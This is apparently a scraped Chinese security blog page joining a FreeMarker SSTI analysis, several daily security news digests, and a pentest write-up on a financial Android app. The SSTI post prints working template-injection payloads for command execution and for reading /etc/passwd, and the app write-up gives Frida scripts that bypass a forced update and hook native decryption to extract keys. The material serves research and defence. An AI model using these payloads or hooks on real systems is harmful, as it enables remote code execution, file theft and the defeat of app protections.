Java FreeMarker模板引擎注入深入分析
0x01 前言 最近和 https://f1or.cn/ 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。 有三个最重要的模板,其实模板引擎本质上的原理差不多,因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了,所以大体上老生常谈的东西就不继续讲了。 三个模板的模板注入攻击差距其实还是有点大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI 0x02 FreeMarker SSTI FreeMarker 官网:http://freemarker.foofun.cn/index.html 对应版本是 2.3.23,一会儿我们搭建环境的时候也用这个版本 FreeMarker 基础语法 关于文本与注释,本文不再强调,重点看插值与 FTL 指令。 插值 插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,将使用数据模型中的部分替代输出 比如这一个 .ftl 文件 <!DOCTYPE html>   <html lang="en">   <head>      <meta charset="UTF-8">      <title>Hello ${name}!</title>      <link href="/css/main.css" rel="stylesheet">   </head>   <body>      <h2 class="hello-title">Hello ${name}!</h2>      <script src="/js/main.js"></script>   </body>   </html> 那么 ${name} 的数据就会从传参里面拿,对应的这个是在 addAttribute 中的 name 参数 FTL 指令 FTL 指令以 # 开头,其他语法和 HTML 大致相同。 我这里其实也花了不少时间看了 FreeMarker 的基础语法,但是并非很透彻,就不误人子弟了,有兴趣的师傅可以自己前往 FreeMarker 手册查看。 https://freemarker.apache.org/ FreeMarker SSTI 成因与攻击面 看了一些文章,有些地方有所疏漏,先说 SSTI 的攻击面吧,我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。 将 HTML 语句放到服务器上有两种方法: 1、文件上传 HTML 文件。 2、若某 CMS 自带有模板编辑功能,这种情况非常多。 因为之前有接触过 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常锋利, Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE(当然这段话很可能是不严谨的 在刚接触 FreeMarker 的 SSTI 的时候,我误以为它和 Thyemelaf 一样,直接通过传参就可以打,后来发现我的想法是大错特错。 环境搭建 一些开发的基本功,因篇幅限制,我也不喜放这些代码的书写,贴个项目地址吧 https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview漏洞复现 前文我有提到,FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面,太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活,有兴趣的师傅可以滴一下我 payload: <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法,都写到脸上来了。 漏洞复现如图 漏洞分析 我们要分析的是,MVC 的思维,以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。 下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试 跟进 super.createView() 进一步跟进 loadView() 以及 buildView(),这些方法的业务意义都比较好理解,先 create 一个 View 视图,再将其 load 进来,最后再 build。 在 buildView() 方法当中,先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类,又进行了一些基础赋值,将我们的 View Build 了出来(也就是 View 变得有模有样了) 继续往下走,回到 loadView() 方法,loadView() 方法调用了 view.checkResource() 方法 checkResource() 方法做了两件事,第一件事是判断 Resource 当中的 url 是否为空,也就是判断是否存在 resource,如果 url 都没东西,那么后续的模板引擎加载就更不用说了;第二件事是进行 template 的获取,也可以把这理解为准备开始做模板引擎加载的业务了。 跟进 getTemplate() 方法 首先做了一些赋值判断,再判断 Template 的存在,我们跟进 this.cache.getTemplate 这里从 cache 里面取值,而在我们 putTemplate 设置模板的时候,也会将至存储到 cache中。 跟进 getTemplateInternal() 先做了一些基本的判断,到 202 行,跟进 lookupTemplate() 方法 这里代码很冗杂,最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy 代码会先拼接 _zh_CN,再寻找未拼接 _zh_CN 的模板名,调用 this.findTemplateSource(path) 获取模板实例。 这里就获取到了 handle 执行返回的模板视图实例,这里我 IDEA 没有走过去,就跟着奶思师傅的文章先分析了。 org.springframework.web.servlet.DispatcherServlet#doDispatch 流程 handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。 调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender 跟进 this.processTemplate() 跟进 process() process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。 在 process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。 在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,而 visit() 方法又调用了 element.accept(),跟进 跟进 calculateInterpolatedStringOrMarkup() 方法 calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记,跟进 eval() 方法 eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了,一般的 _eval() 方法如下 而对于 ftl 表达式来说,accept 方法是这样的 跟进一下 accept() 方法 做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536,到第 105 行,跟进 eval() 方法,再跟进 _eval() 我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于 Object result = targetMethod.exec(argumentStrings); // 等价于 Object result = freemarker.template.utility.Execute.exec(argumentStrings); 而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。 命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图 至此,分析结束,很有意思的一个流程分析。 FreeMarker SSTI 的攻防二象性 我们目前的 PoC 是这么打的 <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— new 和 api 内置函数 new 可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute API value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。 由此我们可以构造出一系列的 bypass PoC POC1 <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")} POC2 <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()} POC3 <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc") POC4 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") } 读取文件 <#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if> ${byte}, </#list>]<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if> ${byte}, </#list>] 从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。 2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.templ FreeMarker SSTI 修复 因为 FreeMarker 不能直接传参打,所以此处的代码参考奶思师傅。 package freemarker; import freemarker.cache.StringTemplateLoader; import freemarker.core.TemplateClassResolver; import freemarker.template.Configuration; import freemarker.template.Template; import java.io.IOException; import java.io.OutputStreamWriter; import java.io.StringWriter; import java.util.HashMap; public class freemarker_ssti {    public static void main(String[] args) throws Exception {        //设置模板        HashMap<String, String> map = new HashMap<String, String>();        String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";        System.out.println(poc);        StringTemplateLoader stringLoader = new StringTemplateLoader();        Configuration cfg = new Configuration();        stringLoader.putTemplate("name",poc);        cfg.setTemplateLoader(stringLoader);        //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);        //处理解析模板        Template Template_name = cfg.getTemplate("name");        StringWriter stringWriter = new StringWriter();        Template_name.process(Template_name,stringWriter);   } } 防御成功 0x03 小结 比较其他两个模板引擎来说,FreeMarker 的 SSTI 更为严格一些,它的防护也做的相当有力,这个给自己挖个小坑吧,后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。
网络安全日报 2022年11月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、谷歌发布YARA规则和VirusTotal Collection,以帮助检测CobaltStrike https://www.securityweek.com/google-making-cobalt-strike-pentesting-tool-harder-abuse 2、研究人员发布了macOS 沙箱逃逸高危漏洞PoC 代码 https://www.securityweek.com/poc-code-published-high-severity-macos-sandbox-escape-vulnerability 3、Daixin 勒索软件团伙窃取了 500 万亚航乘客和员工的数据 https://thehackernews.com/2022/11/daixin-ransomware-gang-steals-5-million.html 4、臭名昭著的 Emotet 卷土重来,发起大量恶意垃圾邮件活动 https://thehackernews.com/2022/11/notorious-emotet-malware-returns-with.html 5、针对中东国家的网络钓鱼攻击在世界杯前激增 https://therecord.media/phishing-attacks-targeting-middle-east-countries-double-ahead-of-world-cup-report/ 6、 安全研究人员悄悄破解了勒索软件 Zeppelin https://www.solidot.org/story?sid=73414 7、印度政府发布《2022年个人数据保护法案》草案 https://www.freebuf.com/news/350314.html 8、Earth Preta 通过大规模鱼叉式网络钓鱼攻击多个行业 https://cyware.com/news/earth-preta-targets-multiple-sectors-with-large-scale-spear-phishing-ce639109 9、新攻击使用 Windows 安全绕过零日漏洞来投放恶意软件 https://www.bleepingcomputer.com/news/security/new-attacks-use-windows-security-bypass-zero-day-to-drop-malware/ 10、报告显示近半数 macOS 恶意程序来自一个应用-MacKeeper https://www.solidot.org/story?sid=73411
网络安全日报 2022年11月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Omron PLC 漏洞被复杂的 ICS 恶意软件利用 https://www.securityweek.com/omron-plc-vulnerability-exploited-sophisticated-ics-malware 2、Atlassian 修补了 Bitbucket、Crowd 中的严重漏洞 https://www.securityweek.com/atlassian-patches-critical-vulnerabilities-bitbucket-crowd 3、Hive 勒索软件已累计攻击 1,300 家企业,收取 1 亿美元赎金 https://www.securityweek.com/hive-ransomware-gang-hits-1300-businesses-makes-100-million 4、Exchange漏洞ProxyNotShell的PoC利用代码已公开 https://securityaffairs.co/wordpress/138768/hacking/proxynotshell-microsoft-exchange-poc.html 5、DEV-0569 组织使用 Google Ads 分发 Royal 勒索软件 https://securityaffairs.co/wordpress/138750/malware/dev-0569-google-ads-royal-ransomware.html 6、印度证券存管机构 CDSL 称恶意软件破坏了其网络 https://techcrunch.com/2022/11/18/cdsl-malware-internal-systems/ 7、Samba 修补了可能导致 DoS、远程代码执行的漏洞 https://www.securityweek.com/samba-patches-vulnerability-can-lead-dos-remote-code-execution 8、QBot恶意软件利用Windows控制面板程序感染设备 https://www.bleepingcomputer.com/news/security/qbot-phishing-abuses-windows-control-panel-exe-to-infect-devices/ 9、瓦努阿图政府网站疑似遭受勒索攻击 https://www.bbc.com/news/world-asia-63632129 10、网络钓鱼攻击冒充Instagram窃取用户凭据 https://www.infosecurity-magazine.com/news/instagram-credential-phishing
网络安全日报 2022年11月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、OpenSSF 采用微软内置的供应链安全框架 https://www.securityweek.com/openssf-adopts-microsoft-built-supply-chain-security-framework 2、密歇根州的两所公立学校遭到勒索软件攻击 https://securityaffairs.co/wordpress/138677/cyber-crime/public-schools-michigan-ransomware.html 3、臭名昭著的 Zeus 僵尸网络团伙头目在日内瓦被捕 https://thehackernews.com/2022/11/fbi-wanted-leader-of-notorious-zeus.html 4、Magento 商店成为大规模"TrojanOrders"攻击的目标 https://www.bleepingcomputer.com/news/security/magento-stores-targeted-in-massive-surge-of-trojanorders-attacks/ 5、KillNet黑客组织声称对FBI网站进行了DDoS攻击 https://www.bankinfosecurity.com/pro-moscow-nuisance-hackers-claim-ddos-attack-on-fbi-website-a-20471 6、Twitter 源代码表明,端到端加密私信即将到来 https://www.freebuf.com/news/350033.html 7、中美俄首次参与网安演习,明年将面对面对抗 https://www.freebuf.com/articles/349999.html 8、欧盟制定网络防御政策,以应对俄乌网络战 https://www.secrss.com/articles/48998 9、朝鲜黑客使用更新的恶意软件瞄准欧洲组织 https://www.bleepingcomputer.com/news/security/north-korean-hackers-target-european-orgs-with-updated-malware/ 10、福布斯全球2000强企业多数未采取关键域安全措施 https://www.csoonline.com/article/3680150/global-2000-companies-failing-to-adopt-key-domain-security-measures.html
网络安全日报 2022年11月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员披露F5了产品中的高危远程代码执行漏洞 https://www.securityweek.com/remote-code-execution-vulnerabilities-found-f5-products 2、Firefox 发布107版本,修复了大量漏洞 https://www.securityweek.com/firefox-107-patches-high-impact-vulnerabilities 3、Lazarus APT 使用 DTrack 后门攻击拉丁美洲和欧洲组织 https://securityaffairs.co/wordpress/138622/apt/dtrack-backdoor-targets-europe-latin-america.html 4、新的 RapperBot 活动针对游戏服务器发起DDoS攻击 https://securityaffairs.co/wordpress/138615/malware/rapperbot-botnet-targets-game-servers.html 5、谷歌将于 2023年初在Android 13上推出隐私沙盒系统测试版 https://securityaffairs.co/wordpress/138607/mobile-2/google-android-privacy-sandbox.html 6、研究人员发现数百个 Amazon RDS 实例泄露了用户的个人数据 https://thehackernews.com/2022/11/researchers-discover-hundreds-of-amazon.html 7、商业恶意软件Typhon Stealer出现新版本并更名为Typhon Reborn https://unit42.paloaltonetworks.com/typhon-reborn-stealer/ 8、 研究人员发现伪装成印度尼西亚人民银行的网络钓鱼活动 https://blog.cyble.com/2022/11/15/phishing-campaign-targeting-indonesian-bri-bank-using-sms-stealer/ 9、研究人员发现推特的双因素身份验证存在漏洞 https://www.govinfosecurity.com/twitter-two-factor-authentication-has-vulnerability-a-20475 10、意大利暂停使用面部识别技术,犯罪调查例外 https://www.solidot.org/story?sid=73370
网络安全日报 2022年11月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员在 Spotify 的后台发现了严重的 RCE漏洞 https://securityaffairs.co/wordpress/138591/security/spotify-backstage-rce.html 2、PCSpoof:一种影响航天器和飞机安全的新型攻击 https://thehackernews.com/2022/11/pcspoof-new-vulnerability-affects.html 3、黑客出售从俄罗斯共享踏板车服务平台Whoosh窃取的数据 https://www.bleepingcomputer.com/news/security/whoosh-confirms-data-breach-after-hackers-sell-72m-user-records/ 4、黑客入侵德意志银行的网络系统后开始出售访问权限 https://securityaffairs.co/wordpress/138416/data-breach/deutsche-bank-alleged-data-breach.html 5、世界互联网大会网络法治论坛发布《反电信网络诈骗倡议》 https://www.secrss.com/articles/48914 6、恶意活动通过伪造中文版Telegram网站投放远控木马 https://www.freebuf.com/articles/paper/347794.html 7、英国国家网络安全中心提醒该国消费者提高网络安全意识 https://www.ncsc.gov.uk/news/festive-shoppers-urged-to-be-cyber-aware 8、OakBend医疗中心承认勒索攻击事件导致数据泄露 https://www.govinfosecurity.com/texas-hospital-says-ransomware-breach-affected-500000-a-20454 9、研究人员披露了 Zendesk Explore中的严重 SQLi 和访问缺陷漏洞 https://thehackernews.com/2022/11/researchers-reported-critical-sqli-and.html 10、Mastodon 用户容易受到密码窃取攻击 https://portswigger.net/daily-swig/mastodon-users-vulnerable-to-password-stealing-attacks
网络安全日报 2022年11月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Aiphone门禁对讲系统存在漏洞可导致被攻击者开门 https://www.securityweek.com/aiphone-intercom-system-vulnerability-allows-hackers-open-doors 2、NSA 发布了有关组织如何缓解软件内存安全问题的指南 https://www.securityweek.com/nsa-publishes-guidance-mitigating-software-memory-safety-issues 3、谷歌因用户位置跟踪问题与40个州达成3.92亿美元的和解协议 https://www.securityweek.com/40-states-settle-google-location-tracking-charges-392m 4、大规模恶意 SEO 活动破坏了 15,000 多个 WordPress 网站 https://securityaffairs.co/wordpress/138523/hacking/wordpress-sites-black-hat-seo.html 5、Worok 黑客滥用 Dropbox API 通过隐藏在图像中的后门渗出数据 https://thehackernews.com/2022/11/worok-hackers-abuse-dropbox-api-to.html 6、谷歌发布安全补丁修复 Android 锁屏绕过漏洞 https://www.securityweek.com/google-pays-70k-android-lock-screen-bypass 7、研究人员发现用于挖矿和DDoS攻击的新型恶意软件KmsdBot https://securityaffairs.co/wordpress/138514/malware/kmsdbot-golang-malware.html 8、加密货币交易巨头FTX遭攻击申请破产,6亿美元资产被盗 https://www.freebuf.com/news/349677.html 9、乌警方逮捕了一个每年获利2亿欧元的网络诈骗团伙 https://securityaffairs.co/wordpress/138481/cyber-crime/ukraine-police-dismantled-fraud-group.html 10、欧盟网络安全局发布《2022 年网络安全威胁全景》报告 https://www.secrss.com/articles/48895
一次金融APP的解密历程
前言: 客户仅提供官网下载地址给我们测试。但是由于官网的版本不是最新的,APP会强制你升级。而升级后的APP,是进行加固后的,无法使用frida进行hook,注入进程。那同样也无法使用SSL Unpinning进行限制客户端校验证书。新版app使用查壳软件显示未加壳,但是查看源代码明显少了很多代码,且很多都是变量声明而已。 绕过更新: 我们要想能对APP渗透测试,一般都是需要抓包和解密的。首先使用burp进行抓包代理,官网版本的APP(以下统称旧版APP),是可以轻松抓到APP的包的(该条请求为检验APP最新版本的请求)。但是内容使用了加密,具体什么加密是不得而知。 获取到请求密文: vVAK0jos5eT9gmQJaHOaYbqZ1mgXoBH3bee3MTF3G5wNRHRoPPOYokZLT4MQqaPDN%2BLeEYpIzzDJeErDHcDfhY8muosLfOaw35W3BuCxDNtuNFB86RumMBtOcQXT08qw 响应包未json,urldecode后为: {"duration":"0ms","note":"","code":1,"resultDES":"UX/jHk6yqix2yxZIrf0rSIuOjCy6oGxjCPUfBL2avG+DWy/++NW16+YQHVFQ+Nj2w9VOWGcH4OxFtGxbR6K7I6pY0Q9hkP9gc0K0JLZ5O+PwOW72nzissCiLG+cHqadKHzkPOQDdBUuBoa4W1Jz7fQ=="} 通过desStr和resultDES,一开始我猜测他为des加密,具体是不是,后续再说。 先进入APP,但是一进入APP就提示更新: 通过前言,我们知道是不能更新的。(当然不乏某些技术大佬也可以把新版APP搞定,我技术有限,感觉旧版的比较容易搞)。那我们就明确了目标,要先绕过更新校验。 对于不了解hook**和frida的同学,我这边推荐先去网上了解下,还有安装之类的,再来看此篇文章。 首先我们明确一下思路,要怎么绕过这个更新校验呢? (1)直接反编译,修改APP的版本信息为99.99之类的; (2)通过修改版本验证请求,使用http层面去绕过; (3)使用hook,去重写更新函数,或者绕过更新函数; 第一点要app能支持反编译且不存在校验签名。第二点要能知道加密密文的密钥。所以我选择第三种: 通过jadx搜索更新,发现了两处,成功获取到源代码。 类名分别为:com.xxxx.AppUpdate和com.xxxx.WelcomeActivity,通过代码审计可以看到,是先调用的WelcomeActivity,WelcomeActivity再去调用的AppUpdate: 跟踪进入AppUpdate,调用的checkNativeAppVersion(): 通过上述代码,我们可以看到,这边就是用于判断是否升级的函数。 public void onResponse(Call call, Response response) throws IOException {    try {        JSONObject jSONObject = new JSONObject(C.s2(new JSONObject(URLDecoder.decode(response.body().string(), DataUtil.UTF8)).getString("resultDES"), Config.WHITE_KEY, Config.IV.getBytes()));        if (jSONObject.optInt("code", -1) > 0) {            JSONObject optJSONObject = jSONObject.optJSONObject("object");            if (optJSONObject == null) {                return;           }            if (WakedResultReceiver.CONTEXT_KEY.equals(optJSONObject.optString("isUpdate", ChatConfig.CARD_TYPE))) {                nativeAppVersionInterface.updateApp(optJSONObject.optString("desc", "当前有新版本,是否需要更新"), optJSONObject.optString(ClientCookie.VERSION_ATTR, ""));           } else {                nativeAppVersionInterface.noUpdateApp();           }       } else {            nativeAppVersionInterface.showError(jSONObject.optString("note"));       }   } catch (JSONException e) {        e.printStackTrace();        nativeAppVersionInterface.showError(e.getMessage());   } } 当JSONObject.optInt("code", -1) > 0时,是会去进行升级的,否则则执行nativeAppVersionInterface.noUpdateApp()。 这边分析完后,其实我们就可以写js进行hook操作了。 我们的hook思路可以这样设置了: 重写checkNativeAppVersion函数,执行执行nativeAppVersionInterface.noUpdateApp()。 Ps:因为我一开始直接重写了checkNativeAppVersion,只执行了console.log(“enter checkNativeAppVersion”),没有对APP进行启动,这样就会直接卡死在启动页。 附上js代码: if(Java.available){    console.log('success');        Java.perform(function(){        var appUpdate = Java.use("com.xxxx.AppUpdate");        appUpdate.checkNativeAppVersion.implementation = function(a,b,c,d,e,f){            console.log("enter AppUpdate");//判断是否进入该hook函数,进入会执行该命令            f.noUpdateApp();//直接执行不需要更新函数,APP会自动进入       }       }); } 使用命令:frida -U -l .\xxx.js -f 包名 --no-pause 成功进入: 解密: 已经成功进入该APP,但是如果想成功进行渗透测试的话,还需要能解开APP的加密。通过des字段,初步判断为des加密,再回头看看刚刚更新的那个请求,是有用c.s2()函数进行操作的,大概率s2就是解密函数。 JSONObject jSONObject = new JSONObject(C.s2(new JSONObject(URLDecoder.decode(response.body().string(), DataUtil.UTF8)).getString("resultDES"), Config.WHITE_KEY, Config.IV.getBytes())); 可以看到s2的三个参数,即前面响应包中的json字段里面的resultDES参数,然后其次是Config.WHITE_KEY, Config.IV两个参数,其中Config.IV是以字节数组的形式进行传参的。通过跳转可以看到配置文件的参数。 然后呢,因为获取到密钥和偏移量iv,这样的话des就可以解了。但是问题是解不开。后续的思路就是如果可以直接hook这两个加解密函数的话,是不是就可以不用管他的加解密了。 s1和s2函数不在java层,那我们就需要hook native层的代码。Hook so文件。首先我们先把安装包后缀apk改成zip,然后解压。就可以找到wkb-1.2.2.so的文件了。(路径为lib/arm64-v8a/wkb-1.2.2.so,前面的arm64根据自己测试机的CPU架构进行选择。)直接用ida打开,在导出函数里面搜索des: 里面有很多des的相关函数。可使用以下js进行hook导出函数: if(Java.available){    console.log('success');        Java.perform(function(){        var point = Module.findExportByName("libwkb-1.2.2.so","desDecryptByteArray");        Interceptor.attach(point,{            onEnter: function(args){                console.log("Hook start");                console.log("args[0]=" + args[0]); //打印我们java层第一个传入的参数                console.log("args[1]=" + args[1]); //打印我们java层传入的第二个参数           },            onLeave: function(retval){ //onLeave: function(retval)是该函数执行结束要执行的代码,其中retval参数即是返回值                console.log("return:" + retval); //打印返回值           }       });       }); } 但是这边很奇怪的是,通过函数findExportByName找到的地址都是为null,一开始以为是还没加载到so文件,但是后续进入APP后还是一样为null。(有知道的大佬可以说下) 这就比较蛋疼了,得手动计算地址。首先先获取so文件的地址,看能不能获取到,若不行,则表示未加载so文件。 var soAddr = Module.findBaseAddress("libwkb-1.2.2.so"); console.log("soAddr:" + soAddr); 有地址出来,说明so文件是存在的,可以正常调用。那么这边就要去计算函数偏移量。之前在网上看到别人的一个公式: 函数地址=so**初始地址+函数偏移量+1** 但是我后面尝试了好几个,好像不同手机不同的计算方法,也可能我操作的有问题。我这边的函数地址就是: 函数地址=so**初始地址+函数偏移量** 不用加一。我自己是用这个方法测试计算的:找到一个导出函数可以被查询到的,比如我这边使用的就是JNI_OnLoad函数: 获取JNI_OnLoad的地址为0x79d5d7883c,然后使用这个地址减去so的地址: 0x79d5d7883c − 0x79d5d67000 = 1183c 差值刚好为JNI_OnLoad的偏移量,所以我这边就不用再进行加一操作了。 这样我们就可以成功hook任意函数了。通过我一个个尝试发现,以下函数一个都没调用过: 然后呢,我查找了s2函数的用例,发现被decodeSm4的函数调用过。 我就尝试了一下,hook了sm4EncryptByteArr: 附上js: var soAddr = Module.findBaseAddress("libwkb-1.2.2.so"); var point = soAddr.add(0x136f0); Interceptor.attach(point,{            onEnter: function(args){                console.log("Hook start");                console.log("args[0]=" + args[0]); //打印我们java层第一个传入的参数                console.log("args[2]=" + Java.vm.getEnv().getStringUtfChars(args[2], null).readCString()); //打印我们java层传入的第三个参数                console.log("args[3]=" + Java.vm.getEnv().getStringUtfChars(args[3], null).readCString()); //打印我们java层传入的第四个参数           },            onLeave: function(retval){ //onLeave: function(retval)是该函数执行结束要执行的代码,其中retval参数即是返回值                console.log("return:" + Java.vm.getEnv().getStringUtfChars(retval, null).readCString()); //打印返回值                // retval.replace(0); //替换返回值为0                // return retval;           }       }); Ps:通过ida里面的参数,我们可以看到第二个参数为类,我们就没给他打印出来。 我人傻了,一开始的des字眼和偏移量这些都符合des的加密方式,误导了我好久,一直往des方向去找。 尾声: 其实很早我就已经解密成功了,直接通过java层,刚刚发现调用s2的decodeSm4函数,直接hook那边即可成功获取请求和响应的明文: 但是若通过js去操作修改数值,实在太麻烦了,要获取密钥和加密方式,通过脚本自动去加解密,所以我才会去hook native层,获取到密钥。因为上述密钥Config.WHITE_KEY,其实是还有一层加密的,通过hook decodeWhiteKey函数的返回值,成功获取了密钥。 其实后续我也尝试去修改版本号绕过,但是事实证明,代码存在验签: 可以看到,把版本号修改为99.9.99,成功绕过了更新检测,但是他还存在一个盗版验签检测: 验签代码一样需要用hook去绕过。所以前面说的方法一也是行不通的。然后我又突发奇想,有没有可能他密文里面就包含版本信息,那如果我使用99.9.99的版本,抓取密文,然后再安装旧版APP,在他去请求版本更新时,替换密文,是不是可以绕过呢?经过尝试,结果是:可以。他的版本校验就是在服务端,这种方法也可以绕过。 总结: 不用轻易相信别人留下的信息,还是得根据自己的分析得出结论。其实后续我一直在想为什么那个字段是des呢,感觉之前是des加密,后续金融行业都进行了国密改造,然后字段并未更改,导致这种现象,当然只是猜测。至此,已完成对这APP的抓包和加解密。
网络安全日报 2022年11月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、一名参与LockBit勒索攻击的嫌疑人在加拿大被捕 https://www.bleepingcomputer.com/news/security/russian-lockbit-ransomware-operator-arrested-in-canada/ 2、美国卫生部警告Venus勒索组织针对美国医疗组织发起攻击 https://www.bleepingcomputer.com/news/security/us-health-dept-warns-of-venus-ransomware-targeting-healthcare-orgs/ 3、研究人员发现Conti将其业务转移至BlackByte和Black Basta中 https://cyware.com/news/conti-affiliates-blackbyte-and-black-basta-rotating-targets-681fc6b8 4、研究人员发现针对印度国防人员的Spymax RAT新变种 https://www.cyfirma.com/outofband/unknown-nation-based-threat-actor-using-android-rat-to-target-indian-defence-personnel-2/ 5、思科修复企业防火墙产品中的33个漏洞 https://www.securityweek.com/cisco-patches-33-vulnerabilities-enterprise-firewall-products 6、GitHub 为公共存储库引入私有漏洞报告功能 https://www.securityweek.com/github-introduces-private-vulnerability-reporting-public-repositories 7、Foxit 修复了 PDF Reader 中的多个代码执行漏洞 https://www.securityweek.com/foxit-patches-several-code-execution-vulnerabilities-pdf-reader 8、Lockbit团伙泄露了从科技巨头Thales 窃取的数据 https://securityaffairs.co/wordpress/138471/data-breach/lockbit-leaked-thales-files.html 9、加拿大第二大连锁超市 Sobeys 遭遇勒索软件攻击 